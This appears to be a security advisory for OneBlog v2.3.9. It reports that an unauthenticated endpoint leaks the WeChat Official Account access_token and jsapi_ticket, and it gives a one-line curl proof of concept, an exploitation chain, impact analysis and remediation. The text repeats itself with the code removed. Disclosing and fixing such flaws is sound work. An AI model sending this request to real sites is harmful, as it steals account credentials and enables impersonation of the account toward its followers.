OneBlog v2.3.9 — Unauthorized Access to WeChat Official Account Sensitive Tokens
1. Vulnerability Summary
| Item |
Detail |
| Vulnerability Title |
Unauthorized Disclosure of WeChat Official Account access_token / jsapi_ticket |
| Affected Product |
zhangyd-c OneBlog |
| Affected Version |
v2.3.9 |
| Vulnerability Type |
Missing Authentication for Critical Function / Sensitive Information Disclosure |
| CWE Classification |
CWE-306: Missing Authentication for Critical Function |
| Severity |
High (CVSS 3.1 Score: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Attack Vector |
Remote, unauthenticated |
| Prerequisite |
The target instance must have configured WeChat Official Account AppID and AppSecret in the admin backend |
2. Vulnerability Description
OneBlog's frontend module (blog-web) exposes a WeChat JS-SDK signing endpoint at /api/jssdkGetSignature, intended to generate signatures for frontend JS-SDK integration. This endpoint suffers from critical security flaws:
- The
blog-web module has no authentication framework configured. Apache Shiro is only configured in the blog-admin (backend) module, leaving all blog-web API endpoints accessible without any login or session.
- The endpoint method has no authorization annotations — no
@RequiresPermissions, no @RequiresUser, no form of access control whatsoever.
- The endpoint returns the raw
access_token and jsapi_ticket directly to the caller, these credentials can be used to invoke WeChat APIs with full Official Account privileges.
An attacker can obtain the target site's WeChat access_token (valid for 7200 seconds) and jsapi_ticket (valid for 7200 seconds) by sending a single unauthenticated POST request, enabling identity spoofing and unauthorized operations as the Official Account.
3. Technical Root Cause Analysis
3.1 Architecture Background
OneBlog uses a dual-module independent deployment architecture:
| Module |
Function |
Default Port |
Authentication |
blog-admin |
Admin backend |
8085 |
Apache Shiro (full authentication & authorization) |
blog-web |
Public frontend |
8443 |
None (only Braum rate limiter) |
3.2 Root Cause — Missing Authentication in blog-web
blog-admin module — Full Shiro authentication configured:
blog-admin/src/main/java/com/zyd/blog/core/config/ShiroConfig.java
→ Configures SecurityManager, ShiroFilterFactoryBean, CookieRememberMeManager, and other complete Shiro components.
blog-admin/src/main/java/com/zyd/blog/core/config/WebMvcConfig.java
→ Registers RememberAuthenticationInterceptor, intercepting all paths (/**).
blog-web module — Rate limiter only, no authentication:
blog-web/src/main/java/com/zyd/blog/core/WebMvcConfig.java
→ Only registers BraumIntercepter (malicious request rate limiting). No authentication interceptor is registered.
Search entire blog-web/ module for ShiroConfig → No results found
→ The blog-web module has no Shiro configuration at all.
3.3 Vulnerable Code Location
Vulnerable endpoint:
File: blog-web/src/main/java/com/zyd/blog/controller/RestApiController.java
@PostMapping("/jssdkGetSignature")
public ResponseVO jssdkGetSignature(String url) {
if (StringUtils.isEmpty(url)) {
return ResultUtil.error("页面地址为空");
}
// ... URL decoding ...
// 1. Read WeChat config from database (NO AUTHENTICATION)
SysConfig configId = sysConfigService.getByKey(ConfigKeyEnum.WX_GZH_APP_ID.getKey());
SysConfig configSecret = sysConfigService.getByKey(ConfigKeyEnum.WX_GZH_APP_SECRET.getKey());
if (StringUtils.isEmpty(configId) || StringUtils.isEmpty(configSecret)) {
return ResultUtil.error("微信公众号appId、AppSecret未配置");
}
// 2. Request access_token from WeChat API using AppSecret
Map<String, String> tokenMap = getAccessTokenComponent.getAccessToken(
configId.getConfigValue(), configSecret.getConfigValue());
String accessToken = tokenMap.get("accessToken");
if (StringUtils.isEmpty(accessToken)) {
return ResultUtil.error("accessToken is empty");
}
// 3. Request jsapi_ticket using access_token
Map<String, String> ticketMap = jsApiTicketComponent.JsapiTicket(accessToken);
String ticket = ticketMap.get("ticket");
// 4. ⚠️ Return access_token and jsapi_ticket directly to the caller
Map<String, Object> map = new HashMap<>();
map.put("appid", configId.getConfigValue());
map.put("timestamp", timestamp);
map.put("noncestr", nonceStr);
map.put("accessToken", accessToken); // ⚠️ LEAKED
map.put("ticket", ticket); // ⚠️ LEAKED
map.put("signature", signature);
return ResultUtil.success("jssdkGetSignature获取成功", map);
}
access_token retrieval:
File: blog-core/src/main/java/com/zyd/blog/util/GetAccessTokenComponent.java
public Map<String, String> getAccessToken(String appId, String AppSecret) {
String requestUrl = AccessTokenUrl
.replace("APPID", appId)
.replace("SECRET", AppSecret);
// Direct call to WeChat API with no secondary validation
HttpClient client = new DefaultHttpClient();
HttpGet httpget = new HttpGet(requestUrl);
String response = client.execute(httpget, responseHandler);
JSONObject OpenidJSON = JSONObject.parseObject(response);
String accessToken = String.valueOf(OpenidJSON.get("access_token"));
result.put("accessToken", accessToken);
return result;
}
jsapi_ticket retrieval:
File: blog-core/src/main/java/com/zyd/blog/util/JsApiTicketComponent.java
public Map<String, String> JsapiTicket(String accessToken) {
String requestUrl = AccessTokenUrl.replace("ACCESS_TOKEN", accessToken);
// Use access_token to obtain jsapi_ticket
String response = client.execute(httpget, responseHandler);
JSONObject openidJSON = JSONObject.parseObject(response);
String ticket = String.valueOf(openidJSON.get("ticket"));
result.put("ticket", ticket);
return result;
}
4. Proof of Concept (PoC)
4.1 Prerequisites
The target OneBlog instance must have configured the WeChat Official Account AppID and AppSecret in the backend "System Configuration" page.
4.2 Attack Request
curl -X POST 'http://<target>:8443/api/jssdkGetSignature' \
-d 'url=http://attacker.com'
No authentication is required. No cookies, tokens, or session credentials are needed.
4.3 Successful Response Example
4.4 Exploitation Chain
Step 1: Send POST request to /api/jssdkGetSignature (no authentication)
↓
Step 2: Server reads wxGzhAppId and wxGzhAppSecret from database
↓
Step 3: Server requests access_token from api.weixin.qq.com using credentials
↓
Step 4: Server requests jsapi_ticket from api.weixin.qq.com using access_token
↓
Step 5: access_token and jsapi_ticket are returned directly to the attacker
↓
Step 6: Attacker uses access_token to call WeChat Official Account APIs
4.5 Environment Setup (for Verification)
If the target instance has not configured WeChat, credentials can be inserted directly into the database:
INSERT INTO sys_config (config_key, config_value, create_time, update_time)
VALUES
('wxGzhAppId', '<Your_AppID>', NOW(), NOW()),
('wxGzhAppSecret', '<Your_AppSecret>', NOW(), NOW());
Configuration key names are defined in:
File: blog-core/src/main/java/com/zyd/blog/business/enums/ConfigKeyEnum.java
WX_GZH_APP_ID("wxGzhAppId"),
WX_GZH_APP_SECRET("wxGzhAppSecret"),
5. Impact Assessment
5.1 Leaked Credentials and Their Capabilities
| Credential |
Validity |
Capable Operations |
| access_token |
2 hours (7200s) |
Mass messaging, follower list retrieval, custom menu management, user info access, tag creation, media upload, customer service messages, etc. |
| jsapi_ticket |
2 hours (7200s) |
Constructing valid JS-SDK signatures to spoof frontend WeChat features |
| appid |
Permanent |
Used in conjunction with access_token |
5.2 Potential Damage
- Official Account Identity Spoofing: Attacker can use the stolen
access_token to send malicious messages to followers in the name of the Official Account.
- User Data Theft: Attacker can retrieve the follower list, user profile information, and other sensitive data.
- Menu Tampering: Attacker can modify the custom menu to redirect users to phishing pages.
- Content Manipulation: Attacker can upload or delete the Official Account's media materials (articles, images, etc.).
- Customer Service Abuse: Attacker can send unauthorized customer service messages to followers.
5.3 Scope of Impact
- OneBlog v2.3.9 and all earlier versions
- Any OneBlog instance that has configured WeChat Official Account functionality
- Instances without WeChat configuration are not affected (the endpoint returns "微信公众号appId、AppSecret未配置")
6. Root Cause Summary
| Root Cause |
Description |
| Architectural Design Flaw |
blog-web (frontend) and blog-admin (backend) use independent authentication configurations. blog-web does not integrate Shiro. |
| Missing Endpoint Authorization |
The jssdkGetSignature method lacks @RequiresPermissions or any other authorization annotation. |
| Excessive Credential Exposure |
The endpoint returns access_token and jsapi_ticket to the frontend caller. The frontend JS-SDK only requires the signature, timestamp, noncestr, and url — not the raw tokens. |
| Insufficient Security Audit |
The endpoint exposes backend token retrieval logic to the frontend, violating the principle of least privilege. |
7. Remediation Recommendations
7.1 Immediate Fix (Recommended)
Option A: Remove access_token and jsapi_ticket from the response
The access_token and jsapi_ticket should never be returned to the frontend caller. The frontend JS-SDK initialization only requires signature, timestamp, noncestr, and url. All token acquisition and signature computation should be performed server-side, returning only the signature result.
Option B: Add authentication to the blog-web module
Register an authentication interceptor in blog-web's WebMvcConfig to require user authentication for sensitive endpoints like /api/jssdkGetSignature.
7.2 Long-term Fix
- Unify the authentication architecture: Apply Apache Shiro (or equivalent) to both
blog-web and blog-admin modules.
- Apply principle of least privilege: All endpoints involving sensitive credentials must have authentication and authorization checks.
- Secure credential management:
access_token should be cached server-side to avoid redundant token requests, reducing the exposure window.
8. References
9. Discovery Method
This vulnerability was discovered through static code analysis (white-box audit). The audit process identified:
- The
blog-admin module configures a complete Shiro authentication system (ShiroConfig.java + WebMvcConfig.java with RememberAuthenticationInterceptor).
- The
blog-web module has no authentication framework configured (search of the entire module yields no ShiroConfig).
- The
blog-web WebMvcConfig only registers BraumIntercepter (rate limiter) with no authentication capability.
- The
RestApiController.jssdkGetSignature() method has no permission annotations of any kind.
- The method directly returns the WeChat
access_token and jsapi_ticket to the caller.
- Conclusion: Any unauthenticated remote attacker can obtain the target instance's WeChat Official Account sensitive credentials.
OneBlog v2.3.9 — Unauthorized Access to WeChat Official Account Sensitive Tokens
1. Vulnerability Summary
2. Vulnerability Description
OneBlog's frontend module (
blog-web) exposes a WeChat JS-SDK signing endpoint at/api/jssdkGetSignature, intended to generate signatures for frontend JS-SDK integration. This endpoint suffers from critical security flaws:blog-webmodule has no authentication framework configured. Apache Shiro is only configured in theblog-admin(backend) module, leaving allblog-webAPI endpoints accessible without any login or session.@RequiresPermissions, no@RequiresUser, no form of access control whatsoever.access_tokenandjsapi_ticketdirectly to the caller, these credentials can be used to invoke WeChat APIs with full Official Account privileges.An attacker can obtain the target site's WeChat
access_token(valid for 7200 seconds) andjsapi_ticket(valid for 7200 seconds) by sending a single unauthenticated POST request, enabling identity spoofing and unauthorized operations as the Official Account.3. Technical Root Cause Analysis
3.1 Architecture Background
OneBlog uses a dual-module independent deployment architecture:
blog-adminblog-web3.2 Root Cause — Missing Authentication in blog-web
blog-adminmodule — Full Shiro authentication configured:→ Configures SecurityManager, ShiroFilterFactoryBean, CookieRememberMeManager, and other complete Shiro components.
→ Registers
RememberAuthenticationInterceptor, intercepting all paths (/**).blog-webmodule — Rate limiter only, no authentication:→ Only registers
BraumIntercepter(malicious request rate limiting). No authentication interceptor is registered.→ The
blog-webmodule has no Shiro configuration at all.3.3 Vulnerable Code Location
Vulnerable endpoint:
File:
blog-web/src/main/java/com/zyd/blog/controller/RestApiController.javaaccess_token retrieval:
File:
blog-core/src/main/java/com/zyd/blog/util/GetAccessTokenComponent.javajsapi_ticket retrieval:
File:
blog-core/src/main/java/com/zyd/blog/util/JsApiTicketComponent.java4. Proof of Concept (PoC)
4.1 Prerequisites
The target OneBlog instance must have configured the WeChat Official Account AppID and AppSecret in the backend "System Configuration" page.
4.2 Attack Request
No authentication is required. No cookies, tokens, or session credentials are needed.
4.3 Successful Response Example
4.4 Exploitation Chain
4.5 Environment Setup (for Verification)
If the target instance has not configured WeChat, credentials can be inserted directly into the database:
Configuration key names are defined in:
File:
blog-core/src/main/java/com/zyd/blog/business/enums/ConfigKeyEnum.java5. Impact Assessment
5.1 Leaked Credentials and Their Capabilities
5.2 Potential Damage
access_tokento send malicious messages to followers in the name of the Official Account.5.3 Scope of Impact
6. Root Cause Summary
blog-web(frontend) andblog-admin(backend) use independent authentication configurations.blog-webdoes not integrate Shiro.jssdkGetSignaturemethod lacks@RequiresPermissionsor any other authorization annotation.access_tokenandjsapi_ticketto the frontend caller. The frontend JS-SDK only requires thesignature,timestamp,noncestr, andurl— not the raw tokens.7. Remediation Recommendations
7.1 Immediate Fix (Recommended)
Option A: Remove access_token and jsapi_ticket from the response
The
access_tokenandjsapi_ticketshould never be returned to the frontend caller. The frontend JS-SDK initialization only requiressignature,timestamp,noncestr, andurl. All token acquisition and signature computation should be performed server-side, returning only the signature result.Option B: Add authentication to the blog-web module
Register an authentication interceptor in
blog-web'sWebMvcConfigto require user authentication for sensitive endpoints like/api/jssdkGetSignature.7.2 Long-term Fix
blog-webandblog-adminmodules.access_tokenshould be cached server-side to avoid redundant token requests, reducing the exposure window.8. References
9. Discovery Method
This vulnerability was discovered through static code analysis (white-box audit). The audit process identified:
blog-adminmodule configures a complete Shiro authentication system (ShiroConfig.java+WebMvcConfig.javawithRememberAuthenticationInterceptor).blog-webmodule has no authentication framework configured (search of the entire module yields noShiroConfig).blog-webWebMvcConfigonly registersBraumIntercepter(rate limiter) with no authentication capability.RestApiController.jssdkGetSignature()method has no permission annotations of any kind.access_tokenandjsapi_ticketto the caller.